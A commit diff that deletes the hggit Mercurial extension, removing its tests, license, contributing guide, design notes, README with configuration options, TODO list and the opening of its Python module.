hggit: delete hggit

Summary: This is no longer used, now that configerator does it's sync via SCS.

Reviewed By: quark-zju

Differential Revision: D31006839

fbshipit-source-id: ddf7923a3c80ad47519bce0e5cb3895f62e7ae2e
This commit is contained in:
Durham Goode 2021-09-21 13:43:54 -07:00 committed by Facebook GitHub Bot
parent 6ddb2d3b52
commit 742240b65f
60 changed files with 0 additions and 9462 deletions

View File

@ -104,17 +104,3 @@
$ hg log -r another_committer -T '{extras}'
branch=defaultcommitter=second_committer <second_committer@fb.com> 1000000000 0 (no-eol)
# Push to a git repo and check that we have correct committer there
$ hg pull --config extensions.hggit= "$TESTTMP/repo-git-clone"
pulling from $TESTTMP/repo-git-clone
importing git objects into hg
$ hgmn push --config extensions.hggit= -r another_committer "$TESTTMP/repo-git-clone" --debug -f &> /dev/null
$ cd "$TESTTMP/repo-git-clone"
$ git log another_committer --pretty=fuller
commit a1368bfa4ec1c5478d03385b567ea2a8541ee566
Author: mononoke <mononoke@mononoke>
AuthorDate: Sat Jan 1 00:00:00 2000 +0000
Commit: second_committer <second_committer@fb.com>
CommitDate: Sun Sep 9 01:46:40 2001 +0000
Add file1

View File

@ -84,7 +84,3 @@
$ cat "file2"
this is file2
# Try out hggit compatibility
$ hg --config extensions.hggit= git-updatemeta
$ hg --config extensions.hggit= log -T '{gitnode}'
8ce3eae44760b500bf3f2c3922a95dcd3c908e9e (no-eol)

View File

@ -68,7 +68,6 @@ def ispathskipped(path):
for name in [
"contrib",
"doc",
"hggit",
"newdoc",
"pywatchman",
# Part of "tests" are hg-git code.

View File

@ -1,28 +0,0 @@
The short version:
* Patches should have a good summary line for first line of commit message
* Patches should be sent to the Google Group[0]
* Patch needs to do exactly one thing
* testsuite passes
The longer version:
We use a variant of Mercurial's own contribution
system. https://www.mercurial-scm.org/wiki/ContributingChanges contains
their full guidelines. Key differences are (by rule number):
1. For hg-git, I'm not strict about the "topic: a few words" format
for the first line, but I do insist on a sensible summary as the
first line of your commit
2. We don't require use of issueNNN for bug fixes (we have no robot)
3. Use the hg-git google group
10. We use mostly pep8 style. The current codebase is a mess, but new
code should be basically pep8.
0:
Mailing list: hg-git@googlegroups.com
Archives: https://groups.google.com/forum/#!forum/hg-git
Pull requests are generally not noticed more than once every few
months. If you do a pull request, I'm still going to expect you to
have a clean history, and to be willing to rework history so it's
clean before I push the "merge" button.

View File

@ -1,339 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.

View File

@ -1,65 +0,0 @@
Hg-Git Plugin Design Notes
==========================
This plugin is designed to allow you to push to a Git server over the Git protocol and to pull from a Git based project. All data is stored in Hg native format with a mapping table. People collaborating in Git should not even be able to tell that you're using Hg to collaborate on their project (except for the '--HG--' section added to commit message).
Nothing should need to be kept in the Git format - you should be able to run 'hg gclear' at any time to wipe out the Git directory and everything can be rebuilt losslessly from the existing Hg data - it is a cache only.
We are using the Dulwich library, which I've modified quite a bit - I'll have to get these changes back upstream at some point.
I've been adding 'TODO' comments all over the place where I only partially implemented something so I could get the entire first draft of functionality completed. The TODO areas should be mostly edge cases (executable bits, file rename info, tags, submodules, etc).
Lossless Two Way
================
We need to store data that Git records that Merc does not in a git/extra_data file. This would be parents over two and committer information (author will be mapped to Hg committer). This way two Hg developers can collaborate without the Git transport messing up the local commits.
Each Git commit should be reproducible as a Merc ID and vice versa on any system without losing data (ie changing the SHA).
Branch Translation Policy
=========================
Branches in Hg and Git are pretty different. This is meant to provide a clear policy on how one is converted to the other.
* Without Bookmarks: *
If you don't have bookmarks enabled, Git simply maps your 'tip' to the 'master' branch of the repository you're pushing to, since that is the most commonly used default branch name. Actually, pulling will map whatever the server points to as HEAD, but when pushing it will assume 'master' is your tip.
$ hg gpush origin # will push tip to remote 'master'
$ hg gpush origin master # same as above
$ hg gpush origin --all # same as above
If the remote server has divergent branches (branches with commits not reachable from HEAD) it will basically ignore them, not convert them into Hg changesets. It will tell you this (and why) when fetched.
Conversely, on pushing, Hg named branches are ignored if they are not reachable from traversing the parents of tip. (SC: is this best?)
* With Bookmarks: *
If you have bookmarks enabled, it will treat your bookmarks like Git branches and will only push up references if you specify them.
hg gpush origin # will error, you have to specify a branch
hg gpush origin master # pushes the master branch
hg gpush origin --all # pushes all local branches
If a fetch gets branches, it _will_ import them and will create bookmarks that point to them, even if they have no common ancestors with the mainline (HEAD).
* Other points *
If you do not specify a remote name, it will assume 'origin'. This is helpful if you do not have bookmarks enabled as it will push tip automatically. If you have bookmarks enabled this is not helpful because you have to specify a branch name after.
Eventually, I would like to setup tracking branch refspecs much like Git - say 'this local branch pushes and pulls to/from this remote and branch', but that will be one of the last things done.
Testing Hg-Git
==============
Tests are implemented in the Mercurial-standard way of small shell scripts.
The scripts are located in the tests directory, and to run them you should
change to that directory and then run tests/run-tests.py from the Mercurial
sources. For example, if you have a copy of the Mercurial source code at
/Stuff/hg-crew, you would do something like this:
cd tests ; /Stuff/hg-crew/tests/run-tests.py
And you should see output like this:
.
# Ran 1 tests, 0 skipped, 0 failed.

View File

@ -1,280 +0,0 @@
Hg-Git Mercurial Plugin
=======================
* Homepage: http://hg-git.github.com/
* https://bitbucket.org/durin42/hg-git (primary)
* https://github.com/schacon/hg-git (mirror)
This is the Hg-Git plugin for Mercurial, adding the ability to push
and pull to/from a Git server repository from Hg. This means you can
collaborate on Git based projects from Hg, or use a Git server as a
collaboration point for a team with developers using both Git and Hg.
The Hg-Git plugin can convert commits/changesets losslessly from one
system to another, so you can push via an Hg repository and another Hg
client can pull it and their changeset node ids will be identical -
Mercurial data does not get lost in translation. It is intended that
Hg users may wish to use this to collaborate even if no Git users are
involved in the project, and it may even provide some advantages if
you're using Bookmarks (see below).
Dependencies
============
This plugin is implemented entirely in Python - there are no Git
binary dependencies, you do not need to have Git installed on your
system. The only dependencies are Mercurial and Dulwich. See the
Makefile for information about which versions of Mercurial are
known to work, and setup.py for which versions of Dulwich are required.
Usage
=====
You can clone a Git repository from Hg by running `hg clone <url> [dest]`. For
example, if you were to run
$ hg clone git://github.com/schacon/hg-git.git
Hg-Git would clone the repository and convert it to an Hg repository
for you.
If you want to clone a github repository for later pushing (or any
other repository you access via ssh), you need to convert the ssh url
to a format with an explicit protocol prefix. For example, the git url
with push access
git@github.com:schacon/hg-git.git
would read
git+ssh://git@github.com/schacon/hg-git.git
(Mind the switch from colon to slash after the host!)
Your clone command would thus look like this:
$ hg clone git+ssh://git@github.com/schacon/hg-git.git
If you are starting from an existing Hg repository, you have to set up
a Git repository somewhere that you have push access to, add a path entry
for it in your .hg/hgrc file, and then run `hg push [name]` from within
your repository. For example:
$ cd hg-git # (an Hg repository)
$ # edit .hg/hgrc and add the target git url in the paths section
$ hg push
This will convert all your Hg data into Git objects and push them to the Git server.
Now that you have an Hg repository that can push/pull to/from a Git
repository, you can fetch updates with `hg pull`.
$ hg pull
That will pull down any commits that have been pushed to the server in
the meantime and give you a new head that you can merge in.
Hg-Git can also be used to convert a Mercurial repository to Git. You can use
a local repository or a remote repository accessed via SSH, HTTP or HTTPS. Use
the following commands to convert the repository (it assumes you're running this
in $HOME).
$ mkdir git-repo; cd git-repo; git init; cd ..
$ cd hg-repo
$ hg bookmarks hg
$ hg push ../git-repo
The hg bookmark is necessary to prevent problems as otherwise hg-git
pushes to the currently checked out branch confusing Git. This will
create a branch named hg in the Git repository. To get the changes in
master use the following command (only necessary in the first run,
later just use git merge or rebase).
$ cd git-repo
$ git checkout -b master hg
To import new changesets into the Git repository just rerun the hg
push command and then use git merge or git rebase in your Git
repository.
Commands
========
See `hg help -e hggit`.
Hg Bookmarks Integration
========================
Hg-Git pushes your bookmarks up to the Git server as branches and will
pull Git branches down and set them up as bookmarks.
Installing
==========
Clone this repository somewhere and make the 'extensions' section in
your `~/.hgrc` file look something like this:
[extensions]
hggit = [path-to]/hg-git/hggit
That will enable the Hg-Git extension for you.
See the Makefile for a list of compatible Mercurial versions.
Configuration
=============
git.authors
-----------
Git uses a strict convention for "author names" when representing changesets,
using the form `[realname] [email address]`. Mercurial encourages this
convention as well but is not as strict, so it's not uncommon for a Mercurial
repo to have authors listed as, for example, simple usernames. hg-git by default
will attempt to translate Mercurial usernames using the following rules:
* If the Mercurial username fits the pattern `NAME <EMAIL>`, the git name will be
set to NAME and the email to EMAIL.
* If the Mercurial username looks like an email (if it contains an `@`), the
git name and email will both be set to that email.
* If the Mercurial username consists of only a name, the email will be set to `none@none`.
* Illegal characters (stray `<`s or `>`s) will be stripped out, and for `NAME <EMAIL>`
usernames, any content after the right-bracket (for example, a second `>`) will be
turned into a url-encoded sigil like `ext:(%3E)` in the git author name.
Since these default behaviors may not be what you want (`none@none`, for example,
shows up unpleasantly on Github as "illegal email address"), the `git.authors`
option provides for an "authors translation file" that will be used during outgoing
transfers from mercurial to git only, by modifying `hgrc` as such:
[git]
authors = authors.txt
Where `authors.txt` is the name of a text file containing author name translations,
one per each line, using the following format:
johnny = John Smith <jsmith@foo.com>
dougie = Doug Johnson <dougiej@bar.com>
Empty lines and lines starting with a "#" are ignored.
It should be noted that **this translation is on the hg->git side only**. Changesets
coming from Git back to Mercurial will not translate back into hg usernames, so
it's best that the same username/email combination be used on both the hg and git sides;
the author file is mostly useful for translating legacy changesets.
git.blockdotgit
---------------
Blocks exporting revisions to Git that contain a directory named .git or any
letter-case variation thereof. This prevents creating repositories that newer
versions of Git and many Git hosting services block due to security
concerns. Defaults to True.
git.blockdothg
--------------
Blocks importing revisions from Git that contain a directory named .hg. Defaults
to True.
git.branch_bookmark_suffix
---------------------------
hg-git does not convert between Mercurial named branches and git branches as
the two are conceptually different; instead, it uses Mercurial bookmarks to
represent the concept of a git branch. Therefore, when translating an hg repo
over to git, you typically need to create bookmarks to mirror all the named
branches that you'd like to see transferred over to git. The major caveat with
this is that you can't use the same name for your bookmark as that of the
named branch, and furthermore there's no feasible way to rename a branch in
Mercurial. For the use case where one would like to transfer an hg repo over
to git, and maintain the same named branches as are present on the hg side,
the `branch_bookmark_suffix` might be all that's needed. This presents a
string "suffix" that will be recognized on each bookmark name, and stripped
off as the bookmark is translated to a git branch:
[git]
branch_bookmark_suffix=_bookmark
Above, if an hg repo had a named branch called `release_6_maintenance`, you could
then link it to a bookmark called `release_6_maintenance_bookmark`. hg-git will then
strip off the `_bookmark` suffix from this bookmark name, and create a git branch
called `release_6_maintenance`. When pulling back from git to hg, the `_bookmark`
suffix is then applied back, if and only if an hg named branch of that name exists.
E.g., when changes to the `release_6_maintenance` branch are checked into git, these
will be placed into the `release_6_maintenance_bookmark` bookmark on hg. But if a
new branch called `release_7_maintenance` were pulled over to hg, and there was
not a `release_7_maintenance` named branch already, the bookmark will be named
`release_7_maintenance` with no usage of the suffix.
The `branch_bookmark_suffix` option is, like the `authors` option, intended for
migrating legacy hg named branches. Going forward, an hg repo that is to
be linked with a git repo should only use bookmarks for named branching.
git.findcopiesharder
--------------------
Whether to consider unmodified files as copy sources. This is a very expensive
operation for large projects, so use it with caution. Similar to `git diff`'s
--find-copies-harder option.
git.intree
----------
hg-git keeps a git repository clone for reading and updating. By default, the
git clone is the subdirectory `git` in your local Mercurial repository. If you
would like this git clone to be at the same level of your Mercurial repository
instead (named `.git`), add the following to your `hgrc`:
[git]
intree = True
git.mindate
-----------
If set, branches where the latest commit's commit time is older than this will
not be imported. Accepts any date formats that Mercurial does -- see
`hg help dates` for more.
git.public
----------
A list of Git branches that should be considered "published", and therefore
converted to Mercurial in the 'public' phase. This is only used if
hggit.usephases is set.
git.renamelimit
---------------
The number of files to consider when performing the copy/rename detection.
Detection is disabled if the number of files modified in a commit is above the
limit. Detection is O(N^2) in the number of files modified, so be sure not to
set the limit too high. Similar to Git's `diff.renameLimit` config. The default
is "400", the same as Git.
git.similarity
--------------
Specify how similar files modified in a Git commit must be to be imported as
Mercurial renames or copies, as a percentage between "0" (disabled) and "100"
(files must be identical). For example, "90" means that a delete/add pair will
be imported as a rename if more than 90% of the file has stayed the same. The
default is "0" (disabled).
hggit.mapsavefrequency
----------------------
Controls how often the mapping between Git and Mercurial commit hashes gets
saved when importing or exporting changesets. Set this to a number greater than
0 to save the mapping after converting that many commits. This can help when the
conversion encounters an error partway through a large batch of
changes. Defaults to 0, so that the mapping is saved once at the end.
hggit.usephases
---------------
When converting Git revisions to Mercurial, place them in the 'public' phase as
appropriate. Namely, revisions that are reachable from the remote Git
repository's HEAD will be marked 'public'. For most repositories, this means the
remote 'master' will be converted as public. This speeds up some local Mercurial
operations including `hg shelve`.

View File

@ -1,33 +0,0 @@
GENERAL
=======
* work fine with eclipse plugin or tortoise-hg
MAPPING ISSUES
==============
* work in Git on a named branch created in Hg is forward-ported to be named branch commits in Hg and stripped back out if re-exported
REMOTE/BRANCH STUFF
===================
* explain what branch mapping policy determined when updating refs
* error nicer if pushing to remote without push access (over git://)
WEBSITE
===========
* more usage documentation
* screencast
SPEED/EFFICIENCY
================
* dulwich improvements
- don't send blobs/trees already on server
- thin packs
- packfile creation benchmarking (seems to take a while sometimes)
- at least provide status output
MAYBE
==========
* submodules?
* .gitignore, etc - try to convert?
- (probably not automatically, but perhaps a generator?)

View File

@ -1,538 +0,0 @@
# git.py - git server bridge
#
# Copyright 2008 Scott Chacon <schacon at gmail dot com>
# also some code (and help) borrowed from durin42
#
# This software may be used and distributed according to the terms
# of the GNU General Public License, incorporated herein by reference.
"""push and pull from a Git server
This extension lets you communicate (push and pull) with a Git server.
This way you can use Git hosting for your project or collaborate with a
project that is in Git. A bridger of worlds, this plugin be.
Try hg clone git:// or hg clone git+ssh://
For more information and instructions, see :hg:`help git`
"""
# global modules
import os
import shutil
import sys
import warnings
from bisect import insort
from bindings import nodemap as nodemapmod
from edenscm.mercurial import (
bundlerepo,
cmdutil,
demandimport,
discovery,
extensions,
help,
hg,
localrepo,
manifest,
phases,
pycompat,
revset,
scmutil,
templatekw,
ui as hgui,
util as hgutil,
)
from edenscm.mercurial.error import LookupError
from edenscm.mercurial.i18n import _
from edenscm.mercurial.node import hex, nullid
# local modules
from . import compat, gitrepo, hgrepo, overlay, util, verify
from .git_handler import GitHandler
# Disable DeprecationWarning from newer dulwich since hggit also supports older
# dulwich.
warnings.filterwarnings(r"ignore", r"", DeprecationWarning, r"edenscm.hgext.hggit")
warnings.filterwarnings(
r"ignore", r"", DeprecationWarning, r"edenscm.mercurial.pycompat"
)
try:
from edenscm.mercurial import exchange
exchange.push # existed in first iteration of this file
except (AttributeError, ImportError):
# We only *use* the exchange module in hg 3.2+, so this is safe
pass
try:
# pyre-fixme[21]: Could not find name `ignore` in `edenscm.mercurial`.
from edenscm.mercurial import ignore
# pyre-fixme[16]: Module `mercurial` has no attribute `ignore`.
ignore.readpats
ignoremod = True
except (AttributeError, ImportError):
# The ignore module disappeared in Mercurial 3.5
ignoremod = False
baseset = set
try:
baseset = revset.baseset
except AttributeError:
# baseset was added in hg 3.0
pass
demandimport.ignore.extend(["collections"])
__version__ = "0.8.10"
testedwith = (
"2.8.2 2.9.2 3.0.2 3.1.2 3.2.4 3.3.3 3.4.2 3.5.2 3.6.3 3.7.3"
"3.8.4 3.9.2 4.0.2 4.1.3 4.2.3 4.3.3 4.4"
)
buglink = "https://bitbucket.org/durin42/hg-git/issues"
cmdtable = {}
configtable = {}
try:
from edenscm.mercurial import registrar
command = registrar.command(cmdtable)
configitem = registrar.configitem(configtable)
compat.registerconfigs(configitem)
except (ImportError, AttributeError):
command = cmdutil.command(cmdtable)
# support for `hg clone git://github.com/defunkt/facebox.git`
# also hg clone git+ssh://git@github.com/schacon/simplegit.git
for _scheme in util.gitschemes:
hg.schemes[_scheme] = gitrepo
# support for `hg clone localgitrepo`
_oldlocal = hg.schemes["file"]
try:
urlcls = hgutil.url
except AttributeError:
class urlcls(object):
def __init__(self, path):
self.p = hgutil.drop_scheme("file", path)
def localpath(self):
return self.p
def _isgitdir(path):
"""True if the given file path is a git repo."""
if os.path.exists(os.path.join(path, ".hg")):
return False
if os.path.exists(os.path.join(path, ".git")):
# is full git repo
return True
if (
os.path.exists(os.path.join(path, "HEAD"))
and os.path.exists(os.path.join(path, "objects"))
and os.path.exists(os.path.join(path, "refs"))
):
# is bare git repo
return True
return False
def _local(path):
p = urlcls(path).localpath()
if _isgitdir(p):
return gitrepo
# detect git ssh urls (which mercurial thinks is a file-like path)
if util.isgitsshuri(p):
return gitrepo
return _oldlocal(path)
hg.schemes["file"] = _local
# we need to wrap this so that git-like ssh paths are not prepended with a
# local filesystem path. ugh.
def _url(orig, path, **kwargs):
# we'll test for 'git@' then use our heuristic method to determine if it's
# a git uri
if not (path.startswith(pycompat.ossep) and ":" in path):
return orig(path, **kwargs)
# the file path will be everything up until the last slash right before the
# ':'
lastsep = path.rindex(pycompat.ossep, None, path.index(":")) + 1
gituri = path[lastsep:]
if util.isgitsshuri(gituri):
return orig(gituri, **kwargs)
return orig(path, **kwargs)
extensions.wrapfunction(hgutil, "url", _url)
hgdefaultdest = hg.defaultdest
def defaultdest(source):
for scheme in util.gitschemes:
if source.startswith("%s://" % scheme) and source.endswith(".git"):
return hgdefaultdest(source[:-4])
if source.endswith(".git"):
return hgdefaultdest(source[:-4])
return hgdefaultdest(source)
hg.defaultdest = defaultdest
def getversion():
"""return version with dependencies for hg --version -v"""
import dulwich
dulver = ".".join(str(i) for i in dulwich.__version__)
return __version__ + (" (dulwich %s)" % dulver)
# defend against tracebacks if we specify -r in 'hg pull'
def safebranchrevs(orig, lrepo, repo, branches, revs):
revs, co = orig(lrepo, repo, branches, revs)
if (
isinstance(co, int)
and hgutil.safehasattr(lrepo, "changelog")
and co not in lrepo.changelog
):
co = None
return revs, co
if getattr(hg, "addbranchrevs", False):
extensions.wrapfunction(hg, "addbranchrevs", safebranchrevs)
def extsetup(ui):
templatekw.keywords.update({"gitnode": gitnodekw})
revset.symbols.update({"fromgit": revset_fromgit, "gitnode": revset_gitnode})
helpdir = os.path.join(os.path.dirname(__file__), "help")
entry = (
["git"],
_("Working with Git Repositories"),
# Mercurial >= 3.6: doc(ui)
lambda *args: open(os.path.join(helpdir, "git.rst")).read(),
)
insort(help.helptable, entry)
# Mercurial >= 3.2
extensions.wrapfunction(exchange, "pull", exchangepull)
# Mercurial >= 3.4
extensions.wrapfunction(manifest.manifestdict, "diff", overlay.wrapmanifestdictdiff)
def reposetup(ui, repo):
if not isinstance(repo, gitrepo.gitrepo):
klass = hgrepo.generate_repo_subclass(repo.__class__)
repo.__class__ = klass
@command("external-sync", [], _("REMOTE HEAD LIMIT"))
